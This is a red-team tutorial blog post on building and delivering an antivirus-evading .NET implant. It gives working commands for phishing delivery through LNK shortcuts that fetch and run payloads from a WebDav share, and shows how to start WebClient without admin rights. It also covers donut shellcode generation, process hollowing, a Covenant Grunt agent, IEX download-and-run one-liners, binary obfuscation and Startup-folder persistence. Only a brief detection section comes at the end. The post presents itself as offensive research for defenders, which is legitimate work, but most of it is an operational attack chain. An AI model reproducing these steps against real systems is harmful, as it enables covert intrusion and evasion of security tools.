Red Team Tutorial: Open-source .NET malware development with AV evasion

Dmitrijs Trizna
19 min readJan 15, 2020

--

Disclaimer

An important value that moves cyber security boundaries forward is the magnificent work done by researchers worldwide. Luckily for everyone in this industry, often this work is shared freely and publicly.

One of the research directions, offensive tradecraft, provides possibilities for security engineers and analysts to improve their defensive posture and understand techniques that malicious actors may use against them.

Recently there were fluctuations in Force whether publicly available offensive tools weaponize APT groups and are used maliciously. While this may be True to some extent, and I could share argumentation (for both sides) to provide some personal opinion, this is not the goal of this work.

I’ll just emphasize a few facts:

  • if we look at the utilitarian value of shared offensive research in regards to whether it is used ethically or maliciously, there’s no doubt where the prevailing part of distribution resides;
  • having access to these techniques, you know the enemy possibilities (almost all techniques released publicly have detailed descriptions of underlying mechanisms or source code available), without these researches, you (mostly) would be blind;
  • without these techniques, I personally and the security community available to me directly couldn’t help improve the security posture for a lot of infrastructures that thankfully now are in pretty good shape (of course, relatively to something).

With this in mind, I will show you how one can simulate advanced threats by performing a chain of actions on open-source tools for proof of concept purposes, so you can defend against similar techniques if used by real threat actors.

I will not deliberately describe all underneath the technical background needed for tools to perform the activity — original tradecraft authors best describe this. The focus here is weaponization.

Environment

We take the fresh installation of Windows 10 from:

Checklist to prepare VM for tests:

  1. Apply all updates (Windows, Defender’s, any other AV/EDR solutions you would like to test);
  2. Upload procmon.exe, procdump.exe, tcpview.exe, processHacker.exe, any other tool you need;
  3. Take snapshot;
  4. Disconnect from internet access (or allow only to hosts needed for testing), so VM do not supply our payloads for cloud verification;
  5. Test your payloads, and analyze with tools uploaded in step 2;
  6. Revert VM to snapshot from step 3.

Note about steps 4 and 6 — it’s necessary if you want to be sure that AV vendors won’t investigate your payload before you actually use it. Do not believe that trigger (an example is a default Windows Defender setting, but similar functionality is embedded in other defensive tools as well):

Some protection modules tend to go back into the enabled state by themselves, as well as I’m sure you’ll never know what other metadata is still supplied. Hopefully, you see the irony of uploading your payloads to VirusTotal and similar platforms.

Otherwise, if you fail these steps and your payload is calling back on publicly accessible C&C, be prepared to catch agents from vendor sandboxes that kill themselves after a few seconds:

Delivery

The most proven method of initial access to infrastructure still is spear phishing. Consider yourself lucky if you find RCE during OSINT and perimeter analysis, which is always a never-ending process and is just a compromise between time and the urge to achieve the goal. On the other hand, in many occurrences, the success of spear phishing is just a matter of finding the correct delivery format (by this, I mean both technique and appearance). There are infrastructures with employees whose mailing awareness defense achieved a really high bar. Still, it’s mostly an exception than a rule.

One effective method that is easy to describe and may fly under the radar is the usage of usual Shortcut (a.k.a. .LNK) files:

LNK, in fact, is a file that opens any other file you point to, using the default application for that file extension — opens .txt with Notepad or .html with your default browser. But there’s more!

Here are other useful LNK features:

  1. It may point to binary and execute it on double click;
  2. In conjunction with cmd.exe it supports command concatenation;
  3. It can run binaries directly from the WebDav server;
  4. You can change the appearance of LNK by any arbitrary .ico image;

Isn’t that nice?

Additionally, at this point, I feel urged to note that we deliberately ignore powershell.exe (one of the most closely monitored components of Windows OS) and delivery over SMB from public networks on target machines.

WebDav

One thing to consider if you’re targeting workstations (not Server versions of Windows) - you can use the WebDav service for your payload delivery.

Why this is needed?

This helps to bypass weak points of the delivery process — the ability to get data from public resources in a living-off-the-land manner via HTTP.

Without WebDav we must rely only on a few following options:

But by using WebDav we can simply copy our payload on the box:

> copy \\webdav_server\share\test C:\Users\Public\Downloads\
1 file(s) copied.

.. or execute it directly from a remote location (with many trusted binary execution vectors, e.g., wmic):

> \\webdav_server\share\evil.exe
OR
> wmic os get /format:"\\webdav_server\share\evil.xsl"

Worth noting here that you may use UNC path modification to point to the WebDav server on a different port in the following way .. :

\\webdavserver@8080\share

.. or use HTTPS like that:

\\webdavserver@SSL@443\share

I will not cover how to set up your WebDav server as this is described by TrustedSec here. There’s no need for any TL;DR, this blog post is perfectly optimized, just run commands from that with or without SSL enhancement, and you’ll get a nicely working server by ‘wsgidav’:

# wsgidav --host 0.0.0.0 --port 80 --auth anonymous --root /webdav/

Why not use bitsadmin.exe or certutil.exe methods and something like pastebin.com to store payload?

Like powershell.exe, those are known to be abused maliciously, e.g., bitsadmin.exe is offered as a method of Web Delivery within Cobalt Strike, and Windows Defender flags downloads with certutil.exe (though not by bitsadmin.exe) and, for example, Palo Alto Traps AV flags download by bitsadmin.exe (while not certutil.exe).

If your OSINT research or initial contract information lets you know what defensive systems you’re targeting, you may develop a silent path using those widely known methods if you suggest that they won’t be flagged. Still, in mature organizations, these living-off-the-land methods likely will be noticed.

For curious readers, a question may appear - why is WebDav not available on Server versions of Windows?

To support WebDav paths, Windows need a service called WebClient. Server OS lacks that. One thing to mention is that even on Windows OS workstations, this service is STOPPED by default:

> sc query WebClientSERVICE_NAME: WebClient
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

If we attempt to start that from the Medium Integrity process, we are denied to do so:

> sc start WebClient
[SC] StartService: OpenService FAILED 5:
Access is denied.

But thanks to a hint I found in @Arno0x work, we can enable it without admin privileges following way:

> pushd \\webdav_server\share & popd> sc query WebClientSERVICE_NAME: WebClient
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

LNK + WebDav

Integrating this knowledge with previously described LNK characteristics may be quite toxic.

As it was told — LNK files can point directly to WebDav share. But since WebClient service isn’t enabled by default, additional manipulations are required. That’s why we still need to use the command concatenation feature.

LNK files have a limit of around 260 character’s that can be entered in the “Target” field, so to minimize command length, I suggest you use environment variables, as well as manipulate the “Start in” field and refer to it via %CD% or just use binaries directly that are located under the mentioned folder:

So here’s an example of a file download via WebDav into the user’s AppData directory by double-click on LNK, with the consequent “legitimate” operation of opening msn.com using the system’s default browser:

%windir%\system32\cmd.exe /c start /min %windir%\system32\cmd.exe /c "pushd \\webdav_server\share & copy my.exe %userprofile%\appdata\ & popd" & cmd /c start /min "C:\program files\internet explorer\iexplore.exe" https://msn.com

Pardon cmd.exe madness, but that’s necessary to use “start,” “pushd,” ”copy,” and “popd” commands, which are not stand-alone binaries, but cmd.exe built-in operators.

Obviously, you can substitute any operation with a file by replacing “copy my.exe %userprofile%\appdata\” with your logic, e.g., directly executing your binary. Worth mentioning that if you decide to execute it directly from WebDav share, this binary still will be placed on disk under a temporary folder with a temporary name (here’s an example of the artifact after using rundll32 with WebDav path as location):

iexplore.exe part is added to minimize whole operation “maliciousness” for a user — he clicks, and the browser opens, pointing into your page of choice (to avoid long URLs, you can use a service like bit.ly).

This has a little drawback of flashing cmd.exe black window for some milliseconds before the browser app is fully loaded. You can avoid that (and iexplore.exe part as a whole) by embedding the “what to show user” logic within your payload. Or you can play with the previously mentioned LNK polymorphism idea. The only limit here is your imagination.

Mentioned WebDav delivery way may be modified further, e.g., there are methods of in-memory execution, by using Macros and payload in base64 obtained from filenames of WebDav share (example in same Arno0x repository), thus not using LNK, but Office documents as initial exec method.

Payload

Before working on adversarial logic within the payload, I’d like to concentrate on operational characteristics and OS-level behavior. In our case these would be:

  1. The payload will be built using the .NET framework. The rationale behind this decision — with a high probability framework already installed on the target, there’re lots of features to interact with OS, and many offensive tools created by the community.
  2. Payload spawns a long-term process instead of running logic within temporary cmd.exe executed by the user on the fly. This may be accomplished either by injection or process hollowing actions.

Process Injection

For some time, both of these steps couldn’t go together. Injection or process hollowing manipulation requires your payload to be defined as shellcode, but .NET PE isn’t that easy to transform into that format.

It was until @TheRealWover and odzhan released their magnificent tool donut. So we can use that to reach both goals.

For now, I’ll use this .NET snippet you can find in this gist, which simply displays the PID of its process. This is convenient just to test injection and remove all additional factors that may break the application running process.

Getting source code from the gist, compiling it, and running binary (I’ll call it Portable Executable or PE for brevity in the future):

> powershell -c "(new-object net.webclient).downloadfile('https://gist.githubusercontent.com/dtrizna/a33258bc3c6dd5fbca891fd9d3028de2/raw/c3a218141ea5dd6aea6a9f68b6105dc982a2fbb0/showPid.cs','%USERPROFILE%\Desktop\showPid.cs')"
> cd %USERPROFILE%\Desktop
> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /nologo /out:showPid.exe showPid.cs
> showPid.exe

Great! Now we’ll generate a shellcode for that PE. For that, I prefer to use the recently introduced Python module for a donut (which appeared thanks to @byt3bl33d3r’s help), as this implies some automation rather than compiling and running donut.exe manually.

I scripted payload building logic here, so just download it and run (at the same directory with PE) as follows:

> python -m pip install donut-shellcode
> python generate_cs.py showPid.exe x64
[!] Generating x64 shellcode from file:
showPid.exe
[+] Shellcode of 35144 bytes written in:
C:\Users\user\Desktop\showPidx64.bin
[+] Base64 version is written to:
C:\Users\user\Desktop\showPidx64.bin.b64

Here’s worth noting that I faced problems running donut with the ‘anyCPU’ setting (default). For me, it works only if I explicitly use specific architecture (either x86 or x64) on all stages of payload creation — compiling initial PE, shellcode generation, inject/hollow wrapper. So be aware of that during your activity.

So shellcode is ready to be inserted into your template of choice. For testing purposes, we can use a DonutTest sample from the same donut repository. Just download a copy of this code and paste the Base64 version of your payload into line Nr. 13 (or 14 if you’re working with the x86 process/shellcode).

After that:

> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /nologo /out:donutTest.exe Program.cs
> notepad
> tasklist | findstr /i notepad
notepad.exe 1312 Console 2 14,080 K
> donutTest.exe 1312

The logic we created now successfully injected in notepad’s process and runs as long as notepad’s process is active:

By observing this process characteristics, we can see that under the memory segment with RWX permissions, there’s clr.dll (Common Language Runtime library) loaded — runtime needed for executing any managed .NET code:

The process has many more artifacts from our injection, and in particular raw strings from our source code:

All these artifacts are pretty normal for any .NET process, except for RWX permissions of clr.dll, maybe. The point here is that notepad.exe is not a .NET process, and all of this appeared due to our manipulations.

In an actual weaponized scenario, you may consider the following factors when choosing an injecting process. You need to be sure:

  • it always runs on a system;
  • non-admin user has rights to write into that process;
  • PID may be found from payload with currently known priors;

For that explorer.exe is a pretty good choice, so replace the 16th line with the following:

static int pid = FindProcessPid("explorer");

On the other hand, if you put your C&C logic within explorer.exe, seeing that routinely communicating with a remote host is kind of suspicious.

Additionally, injection is a sort of dirty technique that threatens the stability of the target process and, in many implementations, has some in-memory indicators like mentioned RWX segments.

I cannot say there are many infrastructures that would notice this activity and flag it as an Indicator of Compromise, but that’s not a reason to stop and not to improve our payload behavior even more.

Process Hollowing

A good direction to go there is by abusing the process hollowing technique. Thanks to @rastamouse, this logic is perfectly implemented as in .NET within his set of tools.

We will use TikiSpawn, which is dependent on TikiLoader DLL from the same project, so to compile it, we’ll need Visual Studio. TikiSpawn is also intended to be used as DLL, but for our Proof of Concept purposes, we compile it as executable.

To accomplish that, change lines 12–15 to:

public static void Main()
{
Flame(@"C:\Program Files\Internet Explorer\iexplore.exe", @"");
}

Additionally, we will not stage payload in our web server, but embed it within PE. To do so, comment out lines 19–22, and just below them, place shellcode:

string compressedEncodedShellcode = "<here>";

To get shellcode string, use Get-CompressedShellcode.ps1 (from the same repository) on the .bin file you obtained by using donut:

PS > IEX(new-object net.webclient).downloadstring("https://raw.githubusercontent.com/rasta-mouse/TikiTorch/master/Get-CompressedShellcode.ps1")
PS > Get-CompressedShellcode -inFile .\showPidx64.bin | clip

Paste string from the clipboard as ‘compressedEncodedShellcode’ value. Now go to TikiSpawn > Properties > Application in Visual Studio, choose “Output type” to be “Windows Application,” and under “Build,” choose it to be compiled for x64 (remember Note above about donut’s behavior in case of anyCPU scenario?):

Build the project to get TikiTorch.exe, and after running it — you’ll receive a message box that mimics iexplorer.exe. This process is not related to the original process tree, but as PPID of an explorer:

Of course, this is a fast and dirty scenario with as few as possible modifications within TikiTorch, just to prove that technique works.

Command & Control

Now when we’re sure that injection and hollowing components of payload work as intended, let’s place something we can actually use.

Open Source C&C is in the golden age, I’d say. You, as a Red Team operator, have so many options to choose from, thus getting the following privileges:

  • some really functional C&C agents are undetected by some AV/EDR solutions even without any modifications;
  • different C&C allows you to use different control channels (HTTP, DNS, etc.) out of the box;
  • some C&C may be better in order to accomplish functionality you may need — enumerate domain, pivot, persist, etc.;
  • different C&C imply different technologies (.NET, Go) and thus different payload execution methods;

Great tools I’m aware of are listed at the end of this writing - References section. The weaponization technique described below should work with any of mentioned framework agents and may be more suitable for targeting specific Defensive mechanisms (I’ve tested several of them for different operational needs in a similar manner as described here).

In this post, I’ll stick with this C&C realization created and actively maintained by @cobbr. For now, I see that this has the easiest operational convenience (setup, usage), thus perfectly fitting the goals of this publication. Happy to see such a great maturity level for Open Source C&C, as it is now in Covenant! (Good times though was when there were much fewer features, although complete ignorance from security analysts :) ).

I won’t cover the here setup, just follow these steps, you shouldn’t face any problems, especially when using docker.

After you started Covenant, I redirect management access using SSH escape sequence and tunneling, a convenient way to access management console on remote teamserver located there under https://127.0.0.1:7443:

# docker start -ai covenant
Ctrl+P Ctrl+Q
# ~C
ssh> -L 7443:127.0.0.1:7443
Forwarding port.

Listener creation is easy:

  • be sure that your agent can reach “ConnectAddress” from the landing location;
  • in the case of docker leave “BindAddress” as 0.0.0.0.

In real-world scenario ConnectAddress usually refers to multiple domain names of redirectors, which then using either SSH tunneling or ‘socat’ forwards traffic to teamserver:

If this is new for you, to understand Red Team infrastructure more, I encourage you to read Cobalt Strike’s manual, especially Section 4.5. or view the description of the great ReadELK tool maintained by @MarcOverIP and @xychix from Outflank.

After Listener is started, let's generate Launcher. There’re many options available out of the box, but to use Covenant’s agent (Grunt) with a donut, we use a basic Binary launcher.

Assign it to the Listener you created, for test purposes set Delay short, remove Jitter and Cert verifications, and as all of our tests were performed on .NET v4, use that Framework version (I’ll skip rationale of choosing .NET version in this blog post):

After that go to the ‘Code’ section and Copy the source code of the Binary launcher:

So save this code as a grunt.cs, compile it, generate shellcode and compress — all is done exactly the same way as described above with showPid program:

> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc /nologo /out:grunt.exe grunt.cs
> python generate_cs.py grunt.exe x64
> powershell
PS> IEX(new-object net.webclient).downloadstring("https://raw.githubusercontent.com/rasta-mouse/TikiTorch/master/Get-CompressedShellcode.ps1")
PS > Get-CompressedShellcode -inFile .\gruntx64.bin | clip

Change shellcode in previously modified TikiSpawn Program.cs and rebuild it.

Congratulations!

You have a pretty well-weaponized sample of Covenant’s agent that’s not flagged with the latest Windows Defender updates as per December 2019 without any agent customization techniques (according to my tests same situation with multiple other AV solutions):

Putting things together

Just create an LNK file with the following “Target” specification:

%windir%\system32\cmd.exe /c start /min %windir%\System32\cmd.exe /c “pushd \\webdav_server@8080\share & TikiSpawn.exe & popd”

Double-click and you have an active Grunt session with priorly STOPPED WebClient service! No visible indicators in Windows GUI.

Note that the fake page spawned in Opera (default browser) while Grunt lives as iexplore.exe with PPID of explorer.exe without GUI.

Basic persistence

I will not cover the persistence phase as well, but to show how easy this technique allows you to establish basic persistence, just place your .lnk file in the folder mentioned below and reboot the machine:

"C:\Users\IEUSer\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

On User logon, your C&C will catch another agent.

Obfuscation

As it was mentioned above, this weaponization sequence already allows bypassing most of the commercial AV software (not speaking about EDR). In order to improve our chances of successful payload execution in an actual real environment, I’ll show you a few additional obfuscation steps.

For binary analysis, we can use something like pestudio which I found thanks to @xpn. This right away gives us several suspicious indicators:

First of all, let's rename suspicious parts of our malware source code. For grunt I prepared this piece of code — it replaces well-known Grunt methods and Classes to random sequences:

> python obfuscate.py grunt.cs[+] Obfuscated code is written to:
C:\Users\dtrizna\Desktop\blogpost\grunt_obfuscated.cs

Compile new grunt from this new .cs and generate .bin shellcode using a donut. Let’s take a look at shellcode contents itself — open it in a hex editor like HxD. Hmm, donut appears to use the custom loader, there’s no MZ header or “Unable to run in DOS mode” string as in case of usual PE:

So no need to modify it for now. Compress it and paste into TikiSpawn’s Program.cs. For TikiSpawn, as it depends on TikiLoader DLL, I leave you as homework to remove all unnecessary comments and suspicious classes/methods, especially containing string “shellcode”, so a the end your result may look like this (fragment):

So we compile PE now and rename it to something like “mssvchost.exe”. Visual Studio itself leaves lots of metadata within binary, but we can easily change some parts of that. Let’s open resulted binary in resedit. Using this or similar software, it’s possible to see some meta-information that’s worth removing:

Save it like that:

Now open this file in a hex editor, and consider additional indicators you don’t want to send to the target. For example, find reference to Debug path on a system and rewrite it with bare 0x00:

One more occurrence of TikiScript — overwrite these with 0x00 as well:

At this stage, you should be careful and test your payload after every modification you made on raw PE!

Manipulations mentioned above are safe to remove, they’ll not affect PE functionality, but there are a few other leftovers — you may remove them by renaming projects in Visual Studio or doing the same procedures as described here.

After some more modifications you can observe indicators in studio — looks much cleaner — there are no obviously malicious leftovers (nevertheless, pestudio marks some segments as blacklisted, these are suspicious WinAPI calls and strings that may appear within legitimate software and do not represent maliciousness by themself):

URL as “4.0.2.0” is definitely False-Positive, but if you want to get rid of that, now you know how to do that (hint: use hex editor from above).

Further improvement of the payload may consist of:

  • using https://github.com/yck1509/ConfuserEx — this gives your payload more in-depth protection against defensive mechanisms and even manual analysis (without that it’s really easy to get source code of any compiled .NET compiled binary);
  • influence yourself with commercial (like Cobalt Strike) examples to simulate more advanced threats, as e.g. implement ‘blockdlls’ or ‘argue’ features, these are greatly described in @xpn research here and here;
  • finally, mimic real APT RAT tools, which is the most valuable behavioral approach you can give, so just take a look at great APT malware researches from FireEye, KasperskyLab, CheckPoint, Microsoft, and others.

Detection

For infrastructure to successfully acknowledge delivery over WebDav, I suggest monitoring the PROPFIND HTTP method, as it uniquely represents this technique usage.

To identify manipulations where the donut’s shellcode is used, your EDR solution should be able to identify memory segments with loaded “crl.dll” and assigned RWX rights, as pointed out above.

To identify Grunt’s usage, there’s no ubiquitous signature, but at least I suggest you take a look at default Covenant HTTP profiles and make signatures on HTTP traffic that fits that pattern.

Conclusion

Hopefully, this work:

a) allows to understand non-Red Team folks how the offensive payload building process is performed (at least partially, as this story doesn’t profess A-Z coverage);

b) may give a few ideas to existing offensive operators and encourage them to shift from warm, cozy (and easy, and limited) tools like CS to more custom approaches, taking into account that community offers magnificent possibilities there;

c) optimize offensive operation behavior to prepare security systems for real advanced threats better.

References

C&C list

.. and several others. Additional tuneage is possible thanks to C&C transport optimization relay techniques available publicly as well like:

and much more similar tools (abusing Slack, Drive etc.).

Post Scriptum

Researchers mentioned in this post directly influenced techniques described there. Many other researchers and public activists strongly influenced this work, and other subtle hints I’d like to note: @subtee, @domchell, @Cneelis, @harmj0y, @enigma0x3, @PyroTek3, @_dirkjan, @StanHacked, @ropnop, BloodHoundGang community, and many others... Thank you for work!

--

--

Dmitrijs Trizna

Security Researcher @ Microsoft. This blog is an independent R&D at the intersection of Machine Learning and Cyber-Security.